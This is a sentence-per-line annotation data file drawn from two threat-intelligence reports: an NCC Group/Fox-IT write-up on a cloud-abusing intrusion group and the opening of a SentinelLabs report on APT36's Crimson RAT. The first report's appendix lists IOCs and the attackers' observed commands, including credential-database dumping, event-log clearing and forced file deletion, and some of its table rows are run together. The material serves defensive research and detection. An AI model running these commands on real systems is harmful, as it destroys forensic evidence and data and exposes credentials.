{"sentence": "The activity started on average at 02:36 UTC and ended rarely after 13:00 UTC.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We observed some periods where we expected activity of the adversary, but almost none was observed.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "These periods match with the Chinese Golden Week holiday.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Figure 2: Heatmap of activity.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Times on the X-axis are in UTC.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary also changed their domains for command & control around the same time they switched C2 protocols.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "They used a subdomain under a regular parent domain with a .com", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "TLD in 2017 and 2018, but they started using sub-domains under the parent domain appspot.com and azureedge.net in 2019.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The parent domain appspot.com is a domain owned by Google, and part of Google’s App Engine platform as a service.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Azureedge.net is a parent domain owned by Microsoft, and part of Microsoft’s Azure content delivery network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Exfiltration (TA0010)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary uses the command and control channel to exfiltrate small amounts of data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This is usually information containing account details.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "For large amounts of data, such as the mailboxes and network shares with intellectual property, they use something else.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Once the larger chunks of data are compressed, encrypted, and staged, the data is exfiltrated using a custom built tool.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This tool exfiltrates specified files to cloud storage web services.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The following cloud storage web services are supported by the malware: DropboxGoogle DriveOneDrive The actor specifies the following arguments when running the exfiltration tool: Name of the web service to be usedParameters used for the web service, such as a client ID and/or API keyPath of the file to read and exfiltrate to the web service We have observed the exfiltration tool in the following locations: C:\\Windows\\Temp\\msadcs.exeC:\\Windows\\Temp\\OneDrive.exe Hashes of these files are listed at the end of this article.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Defense evasion (TA0005)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary attempts to clean-up some of the traces from their intrusions.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "While we don’t know what was deleted and we were unable to recover, we did see some of their anti-forensics activity: Windows event logs clearing,File deletion,Timestomping An overview of the observed commands can be found in the appendix.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "For indicator removal on host: Timestomp the adversary uses a Windows version of the Linux touch command.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This tool is included in the UnxUtils repository.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This makes sure the used tools by the adversary blend in with the other files in the directory when shown in a timeline.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Creating a timeline is a common thing to do for forensic analysts to get a chronological view of events on a system.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The same activity group?", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A number of our intrusions involved tips from an industry partner who was able to correlate some of their upstream activity.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Our threat intelligence analysts observed clear overlap between the various cases that NCC Group and Fox-IT worked in the threat’s infrastructure and capabilities, and as a result we assess with moderate confidence one activity group was carrying out the intrusions across the different type of victims.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Some overlap is very generic for a lot for a lot of groups, like the use of Cobalt Strike, or exfiltration to OneDrive.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But the tool used for exfiltration to OneDrive is very specific for this adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The use of appspot and azureedge domains as well.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The naming convention for their subdomains, tools and scripts overlap too.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In summary: The adversary: Working hours match with GMT+8.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Infrastructure: appspot.com and azureedge.net for C2 with a strong overlap in naming convention for subdomains and actual overlap in some subdomains between intrusions.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Capability: Password spraying/credential stuffing.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Copy NTDS.dit.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Use scheduled tasks and batch files for automation.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The use of LOLBins.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "WinRAR.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Cloud exfil tool and exfil to OneDrive.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Erasing Windows Event Logs, files and tasks.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Overlap in filenames for tools, staged data, and folders.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Victim: Semiconductors and aviation industry.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We considered labelling them as two activity groups, as of the difference in victims between various intrusions.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But all the other overlap is strong enough for us to consider it as one group right now.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This group might have gotten a new customer interested in different data which changed the intent and victims of the adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But most importantly: The largest overlap is in the top half of the pyramid of pain: domain names, host artifacts, tools, and TTPs.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "And these are the hardest for the adversary to change, and most effective for long-lasting detection!", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Figure 3: Pyramid of pain by David J Bianco Fox-IT and NCC Group found some very strong overlap between what we’ve seen in our intrusion, and what Cycraft describes in their APT Group Chimera report and Blackhat presentation.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The bulk of the victims they describe are in different regions than we observed which is likely caused by field of view bias.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "SentinelOne also describes an attack and shares IOC’s that show strong overlap with the intrusions we investigated.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Conclusion At this moment we believe based on the evidence observed that the various intrusions were performed by the same group.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We can only report what we observed: first they stole intellectual property in the high tech sector, later they stole record, both across geographical locations.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Both types of stolen data are very useful for nation states.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Answering if this group has an advanced persistent threat (APT) technique, has some sort of state affiliation, or where they come from goes beyond the scope of this write-up.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The threat intelligence and IOC’s we are sharing are intended to help discover and present intrusions by this and adversaries.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A word of thanks goes out to all the forensic experts, incident responders, and threat intelligence analysts who helped victims identifying and eradicating the adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "And everybody from NCC Group and Fox-IT (part of NCC Group) for all the contributions to this article.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "IOC TypeDataObservedNoteBinary MD5133a159e86ff48c59e79e67a3b740c1e–get.exe (GetHttpsInfo)Binary MD5328ba584bd06c3083e3a66cb47779eac–psloglist.exeBinary MD565cf35ddcb42c6ff5dc56d6259cc05f3–update.exe (WinRAR)Binary MD54d5440282b69453f4eb6232a1689dd4a–msadcs.exe (Cloud exfil tool)Binary MD590508ff4d2fc7bc968636c716d84e6b4–msadcs.exe (Cloud exfil tool)Binary MD5c9b8cab697f23e6ee9b1096e312e8573–jucheck.exe (WinRAR)Binary MD5dd138a8bc1d4254fed9638989da38ab1–msadcs.exe (NTDSAudit)C2 domainEuDbSyncUp[.]comQ4 2017 – Q4 0218–C2 domainUsMobileSos[.]comQ4 2017 – Q4 2018–C2 domainofficeeuupdate.appspot[.]comQ4 2017 – Q4 2018–C2 domainMsCupDb[.]comQ4 2017 – Q4 2018–C2 domainofficeeuropupd.appspot[.]comQ3 2019 – Q1 2020–C2 domainplatform-appses.appspot[.]comQ4 2019 – Q1 2020–C2 domainwatson-telemetry.azureedge[.]netQ4 2019 – Q1 2020–C2 domaineurope-s03213.appspot[.]com2019–C2 domaineustylejssync.appspot[.]com 2019–C2 domainfsdafdsfdsaflkjkxvzcuifsad.azureedge[.]net2019–C2 domainictsyncserver.appspot[.]com2019–C2 domainsowfksiw38f2aflwfif.azureedge[.]net 2019–Filenamefs_action*.bat–Task automationFilenamefs_action*.ps1–Task automationFilenameupdate.bat–Task automationFilenameupdate*.bat–Task automationFilename*dsinternals*.dll –Dsinternals lib files Filenameget.exe–GetHttpsInfoFilenameadsDL_<dir>.log–Staging dataFilenamegroup_membership.csv–SharpHound outputFilenamelocal_admins.csv–SharpHound outputFilenamemsadcs.exe–Various toolsFilenamemsadcs1.exe–WinRARFilenameOneDrive.exe–Cloud data exfilFilenamesessions.csv–SharpHound outputFilenameRecordedTV.ms–WinRARFilenameRecordedTV_*.csv–Staging dataFilenameRecordedTV_*.ms–Staging dataFilenameRecordedTV_*.rar–Staging dataFilenameRecordedTV_*.txt–Staging dataFilenameteredo.tmp–WinRARFilenameupdate.exe–WinRARFilenamehsperfdata.sqm–Archive with toolsFilenameupdate*.log–Staging dataHostnameDESKTOP-0FVJ37C–Origin of login to ExchangeIPv4 address47.75.0[.]147Q2", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "2019Password sprayIPv4 address59.47.4[.]27Q2 2019ADFS loginIPv4 address45.9.248[.]74Q2 2019Citrix loginIPv4 address172.111.210[.]53Q2 2019Citrix loginIPv4 address103.51.145[.]123 2019Initial access IPv4 address119.39.248[.]32 2019Initial accessIPv4 address120.227.35[.]98 2019Initial accessIPv4 address14.229.140[.]66 2019Mount the file-share IPv4 address172.111.210[.]53 2019Initial accessIPv4 address188.72.99[.]41 2019Initial accessIPv4 address45.9.248[.]74 2019Initial accessIPv4", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "address47.75.0[.]147 2019Password sprayIPv4 address5.254.112[.]226 2019Initial accessIPv4 address5.254.64[.]234 2019Initial accessIPv4 address59.47.4[.]27 2019Initial accessIPv4 address39.109.5[.]135Q3 2017VPN server loginIPv4 address43.250.200[.]106Q3 2017VPN server loginIPv4 address119.39.248[.]101Q3 2017VPN server loginIPv4 address220.202.152[.]47Q3 2017VPN server loginIPv4 address119.39.248[.]20Q3 2017VPN server loginIPv4 address185.170.210[.]84Q3 2017VPN server loginIPv4 address43.250.201[.]71Q3 2017VPN server loginIPv4 address23.236.77[.]94Q3 2017ADFS loginPathC:\\Code\\NtdsAudit\\src\\NtdsAudit\\obj\\Release\\–NTDSAudit artifactsPathC:\\Users\\Public\\Appdata\\Local\\–Staging and toolsPathC:\\Users\\Public\\Appdata\\Local\\Microsoft\\Windows\\INetCache–Staging and toolsPathC:\\Users\\Public\\Libraries\\–Staging and toolsPathC:\\Users\\Public\\Videos\\–Staging and toolsPathC:\\Windows\\Temp\\–Staging and toolsPathC:\\Windows\\Temp\\tmp–Staging and toolsURI in CS beacon/externalscripts/jquery/jquery-3.3.1.min.js Q3 2019 – Q1 2020–URI in CS beacon/externalscripts/jquery/jquery-3.3.2.min.jsQ2 2019 – Q3 2019–URI in CS beacon/jquery-3.3.2.slim.min.jsQ1 2020–User-agentMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko–Web VPN loginUser-agentMozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko–Cobalt Strike beacon Observed discovery commands TechniqueCommandAccount discoverynet userAccount discoverynet user AdministratorAccount discoverynet user /domainAccount discoverydir \\\\<hostname>\\c$\\usersAccount discoverydsquery user -limit 0", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "<hostname>Account", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "discoverypsloglist.exe -accepteula -x security -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "<current_date>Account discoverymsadcs.exe “NTDS.dit” -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "“SYSTEM” -p RecordedTV_pdmp.txt –users-csv RecordedTV_users.csvBrowser bookmark discoverytype \\\\<hostname>\\c$\\Users\\<username>\\Favorites\\Links\\Bookmarks bar\\Imported From IE\\*citrix*Domain trust discoverynltest /domain_trustsFile and directory discoverydir \\\\<hostname>\\c$\\File and directory discoverydir /o:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "d /x /s c:\\File and directory discoverydir /o:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "d /x \\\\<hostname>\\<fileshare>File and directory discoverycacl <path to file>Network service scanningget -b <start ip> -e <end ip> -pNetwork service scanningget -b <start ip> -e <end ip>Network share discoverynet shareNetwork share discoverynet view \\\\<hostname>Permission groups discoverynet localgroup administratorsProcess discoverytasklist /v", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "|findstr explorerProcess discoverytasklist /v", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "|findstr taskhostProcess discoverytasklist /v", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "|findstr 1716Process discoverytasklist /v /s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "<hostname/ip>Query registryreg query", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\\\\<host>\\HKU\\<SID>\\SOFTWARE\\Microsoft\\Terminal Server Client\\ServersQuery registryreg query \\\\<host>\\HKU\\<SID>\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "SettingsRemote system discoverytype \\\\<host>\\c$\\Users\\<username>\\Favorites\\Links\\Bookmarks bar\\Imported From IE\\*citrix*Remote system discoverytype", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\\\\<host>\\<path>\\Cookies\\*ctx*Remote system discoveryreg query \\\\<host>\\HKU\\<SID>\\SOFTWARE\\Microsoft\\Terminal Server Client\\ServersRemote system discoverydir /o:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "d /x \\\\<hostname>\\c$\\users\\<username>\\FavoritesRemote system discoverynet view \\\\hostnameRemote system discoverydsquery server -limit 0System information discoveryfsutil fsinfo drivesSystem information discoverysysteminfoSystem information discoveryvssadmin list shadowsSystem network configuration discoveryipconfigSystem network configuration discoveryipconfig /allSystem", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "network configuration discoveryping -n", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "1 -a <ip>System network configuration discoveryping -n", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "1 <hostname>System network configuration discoverytracert <ip>System network configuration discoverypathping <ip>System network connections discoverynetstat -ano | findstr ESTSystem Owner/User DiscoveryquserSystem service discoverynet startSystem service discoverynet useSystem time discoverytime /tSystem time discoverynet time \\\\<ip/hostname> Observed Defense evasion commands Indicator Removal on Host: Clear Windows Event Logs wevtutil cl \"Windows PowerShell\" wevtutil cl application wevtutil cl security wevtutil cl setup wevtutil cl system Indicator Removal on Host: File Deletion del /f/q *.csv *.bin del /f/q *.exe del /f/q *.exe *log.txt del /f/q *.ost del /f/q .rar update .txt del /f/q \\\\c$\\windows\\temp*.txt del /f/q \\\\c$\\Progra~1\\Common~1\\System\\msadc\\msadcs.dmp del /f/q msadcs* del /f/q psloglist.exe del /f/q update* del /f/q update* .txt del /f/q update.rar del /f/q update*rar del /f/q update12321312.rarschtasks /delete", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "/s /tn \"update\" /f schtasks /delete", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "/tn \"update\" /f shred -n 123 -z", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "-u .tar.gz MITRE ATT&CK references NameTypeIDMore infoInitial AccessTacticTA0001https://attack.mitre.org/tactics/TA0001/External Remote ServicesTechniqueT1133https://attack.mitre.org/techniques/T1133/Valid AccountsTechniqueT1078https://attack.mitre.org/techniques/T1078/ExecutionTacticTA0002https://attack.mitre.org/tactics/TA0002/Command and Scripting Interpreter:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "PowerShellTechniqueT1059.001https://attack.mitre.org/techniques/T1059/001/Command and Scripting Interpreter:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Windows Command ShellTechniqueT1059.003https://attack.mitre.org/techniques/T1059/003/Scheduled Task/Job: Scheduled TaskTechniqueT1053.005https://attack.mitre.org/techniques/T1053/005/System", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Services: Service ExecutionTechniqueT1569.002https://attack.mitre.org/techniques/T1569/002/Windows Management InstrumentationTechniqueT1047https://attack.mitre.org/techniques/T1047/PersistenceTacticTA0003https://attack.mitre.org/tactics/TA0003/External Remote ServicesTechniqueT1133https://attack.mitre.org/techniques/T1133/Hijack Execution Flow: DLL Side-LoadingTechniqueT1574.002https://attack.mitre.org/techniques/T1574/002/Valid AccountsTechniqueT1078https://attack.mitre.org/techniques/T1078/Privilege EscalationTacticTA0004https://attack.mitre.org/tactics/TA0004/Valid AccountsTechniqueT1078https://attack.mitre.org/techniques/T1078/Defense EvasionTacticTA0005https://attack.mitre.org/tactics/TA0005/Deobfuscate/Decode", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Files or InformationTechniqueT1140https://attack.mitre.org/techniques/T1140/Indicator Removal on Host: Clear Windows Event LogsTechniqueT1070.001https://attack.mitre.org/techniques/T1070/001/Indicator Removal on Host: File DeletionTechniqueT1070.004https://attack.mitre.org/techniques/T1070/004/Indicator Removal on Host: TimestompTechniqueT1070.006https://attack.mitre.org/techniques/T1070/006/Hijack Execution Flow: DLL Side-LoadingTechniqueT1574.002https://attack.mitre.org/techniques/T1574/002/Masquerading:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Rename System UtilitiesTechniqueT1036.003https://attack.mitre.org/techniques/T1036/003/Masquerading: Match Legitimate Name or LocationTechniqueT1036.005https://attack.mitre.org/techniques/T1036/005/Use Alternate Authentication Material:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Pass the HashTechniqueT1550.002https://attack.mitre.org/techniques/T1550/002/Valid AccountsTechniqueT1078https://attack.mitre.org/techniques/T1078/Credential AccessTacticTA0006https://attack.mitre.org/tactics/TA0006/Brute Force: Password SprayingTechniqueT1110.003https://attack.mitre.org/techniques/T1110/003/Brute Force: Credential StuffingTechniqueT1110.004https://attack.mitre.org/techniques/T1110/004/OS Credential Dumping: LSASS MemoryTechniqueT1003.001https://attack.mitre.org/techniques/T1003/001/OS Credential Dumping:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "NTDSTechniqueT1003.003https://attack.mitre.org/techniques/T1003/003/Two-Factor Authentication InterceptionTechniqueT1111https://attack.mitre.org/techniques/T1111/DiscoveryTacticTA0007https://attack.mitre.org/tactics/TA0007/Account", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "DiscoveryTechniqueT1087 Account Discovery: Local AccountTechniqueT1087.001https://attack.mitre.org/techniques/T1087/001/Account Discovery: Domain AccountTechniqueT1087.002https://attack.mitre.org/techniques/T1087/002/Browser Bookmark DiscoveryTechniqueT1217https://attack.mitre.org/techniques/T1217/Domain Trust DiscoveryTechniqueT1482https://attack.mitre.org/techniques/T1482/File and Directory DiscoveryTechniqueT1083https://attack.mitre.org/techniques/T1083Network", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Service ScanningTechniqueT1046https://attack.mitre.org/techniques/T1046Network Share DiscoveryTechniqueT1135https://attack.mitre.org/techniques/T1135Permission Groups DiscoveryTechniqueT1069https://attack.mitre.org/techniques/T1069Process DiscoveryTechniqueT1057https://attack.mitre.org/techniques/T1057Query RegistryTechniqueT1012https://attack.mitre.org/techniques/T1012Remote System DiscoveryTechniqueT1018https://attack.mitre.org/techniques/T1018System Information DiscoveryTechniqueT1082https://attack.mitre.org/techniques/T1082System Network Configuration DiscoveryTechniqueT1016https://attack.mitre.org/techniques/T1016System Network Connections DiscoveryTechniqueT1049https://attack.mitre.org/techniques/T1049System Owner/User DiscoveryTechniqueT1033https://attack.mitre.org/techniques/T1033System Service DiscoveryTechniqueT1007https://attack.mitre.org/techniques/T1007System Time DiscoveryTechniqueT1124https://attack.mitre.org/techniques/T1124Lateral MovementTacticTA0008https://attack.mitre.org/tactics/TA0008/Lateral Tool TransferTechniqueT1570https://attack.mitre.org/techniques/T1570/Remote Services: SMB/Windows Admin SharesTechniqueT1021.002https://attack.mitre.org/techniques/T1021/002/Remote Services: SSHTechniqueT1021.004https://attack.mitre.org/techniques/T1021/004/Remote Services:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Windows Remote ManagementTechniqueT1021.006https://attack.mitre.org/techniques/T1021/006/Use Alternate Authentication Material:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Pass the HashTechniqueT1550.002https://attack.mitre.org/techniques/T1550/002/CollectionTacticTA0009https://attack.mitre.org/tactics/TA0009/Archive Collected Data: Archive via UtilityTechniqueT1560.001https://attack.mitre.org/techniques/T1560/001/Automated CollectionTechniqueT1119https://attack.mitre.org/techniques/T1119/Data from Information Repositories: SharePointTechniqueT1213.002https://attack.mitre.org/techniques/T1213/002/Data from Local SystemTechniqueT1005https://attack.mitre.org/techniques/T1005/Data from Network Shared DriveTechniqueT1039https://attack.mitre.org/techniques/T1039/Data Staged: Local Data StagingTechniqueT1074.001https://attack.mitre.org/techniques/T1074/001/Data Staged:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Remote Data StagingTechniqueT1074.002https://attack.mitre.org/techniques/T1074/002/Email Collection: Local Email CollectionTechniqueT1114.001https://attack.mitre.org/techniques/T1114/001/Command and ControlTacticTA0011https://attack.mitre.org/tactics/TA0011/Application Layer Protocol: Web ProtocolsTechniqueT1071.001https://attack.mitre.org/techniques/T1071/001/Application Layer Protocol: DNSTechniqueT1071.004https://attack.mitre.org/techniques/T1071/004/Encrypted Channel:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Asymmetric CryptographyTechniqueT1573.002https://attack.mitre.org/techniques/T1573/002/Protocol TunnelingTechniqueT1572https://attack.mitre.org/techniques/T1572/ExfiltrationTacticTA0010https://attack.mitre.org/tactics/TA0010/Automated ExfiltrationTechniqueT1020https://attack.mitre.org/techniques/T1020/Data Transfer Size LimitsTechniqueT1030https://attack.mitre.org/techniques/T1030/Exfiltration Over C2 ChannelTechniqueT1041https://attack.mitre.org/techniques/T1041/Exfiltration Over Web Service: Exfiltration to Cloud StorageTechniqueT1567.002https://attack.mitre.org/techniques/T1567/002/", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Executive Summary SentinelLabs has been tracking a cluster of malicious documents that stage Crimson RAT, distributed by APT36 (Transparent Tribe).", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "We assess that this activity is part of the group’s previously reported targeting of the education sector in the Indian subcontinent.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "We observed APT36 introducing OLE embedding to its typically used techniques for staging malware from lure documents and versioned changes to the implementation of Crimson RAT, indicating the ongoing evolution of APT36’s tactics and malware arsenal.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Overview SentinelLabs has been tracking a recently disclosed cluster of malicious Office documents that distribute Crimson RAT, used by the APT36 group (also known as Transparent Tribe) targeting the education sector.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "This post summarizes our observations highlighting the group’s continuous change in used malware staging techniques and Crimson RAT implementations.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Transparent Tribe is a suspected Pakistan-based threat group active since at least 2013.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The group is not very sophisticated; however, it is a highly persistent threat actor that continuously adapts its operational strategy.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Transparent Tribe has previously focused mainly on Indian military and government personnel, but it has recently expanded its scope to include educational institutions and students in the Indian subcontinent.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Crimson RAT is a consistent staple in the group’s malware arsenal the adversary uses in its campaigns.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The names and content of the lure documents, the associated domains, and the use of Crimson RAT suggest that the activities discussed in this post are part of a previously reported broader targeting of the education sector by Transparent Tribe.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Further, the PDB paths of some Crimson RAT samples we analyzed contain the word Wibemax, which is also contained in the PDB paths of Crimson RAT payloads observed in a previous Transparent Tribe campaign.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Wibemax matches the name of a Pakistani software development company, but at this time we have not identified a clear relationship to the adversary.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "It is worth noting that there are high confidence assessments of Transparent Tribe leveraging third parties to support their operation, such as the Pakistani web hosting provider Zain Hosting.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Our analysis reinforces the assessment that closely monitoring the research endeavors of adversary nations has become an important objective for the adversary, underscoring the crucial role this activity plays in fulfilling the goals and aspirations of the authorities whose interests Transparent Tribe represents.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Malicious Documents The documents that Transparent Tribe distributes have education-themed content and names such as assignment or Assignment-no-10, and indicate creation dates of July and August 2022.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Based on known behavior of this group, we suspect that the documents have been distributed to targets as attachments to phishing emails.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Consistent with known Transparent Tribe tactics, we observed that some of the documents have been hosted on file hosting services and attacker-created domains, such as s1.fileditch[.]ch, cloud-drive[.]store, and drive-phone[.]online.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "It is important to note that cloud-drive[.]store and drive-phone[.]online have been previously linked to Transparent Tribe activities targeting the education sector and assessed as domains prepared for future use.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Further, drive-phone[.]online closely resembles the phone-drive[.]online domain recently observed hosting Transparent Tribe malware targeting Indian and Pakistani Android users.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The malicious documents we analyzed stage Crimson RAT using Microsoft Office macros or OLE embedding.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The macro code executes when the documents are opened, and its functionality is consistent with known Transparent Tribe macro variants.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The macros create and decompress an embedded archive file in the %ALLUSERSPROFILE% directory (C:\\ProgramData) and execute the Crimson RAT payload within.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
